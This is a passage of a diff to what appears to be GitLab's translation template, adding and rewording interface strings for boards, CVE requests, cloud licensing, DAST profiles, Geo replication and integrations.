+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
